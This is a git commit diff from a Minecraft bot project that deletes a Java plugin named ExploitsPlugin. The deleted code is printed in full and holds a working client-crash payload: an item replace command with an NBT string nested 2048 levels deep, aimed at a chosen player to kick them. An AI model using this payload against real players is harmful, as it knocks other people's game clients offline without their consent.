then actually remove it !!!

This commit is contained in:
Chayapak 2023-05-02 04:09:54 -04:00
parent 153f99d636
commit 324793a00d

View file

@ -1,29 +0,0 @@
package land.chipmunk.chayapak.chomens_bot.plugins;
import land.chipmunk.chayapak.chomens_bot.Bot;
import land.chipmunk.chayapak.chomens_bot.util.UUIDUtilities;
import java.util.UUID;
public class ExploitsPlugin {
private final Bot bot;
public ExploitsPlugin (Bot bot) {
this.bot = bot;
}
public void kick (UUID uuid) {
// this is a client-side exploit so i think leaking it shouldn't be a problem..,.,
String nbt = "{a:".repeat(2048) +
"''" +
"}".repeat(2048);
bot.core().run(
String.format(
"minecraft:item replace entity %s inventory.0 with minecraft:stone%s",
UUIDUtilities.selector(uuid),
nbt
)
);
}
}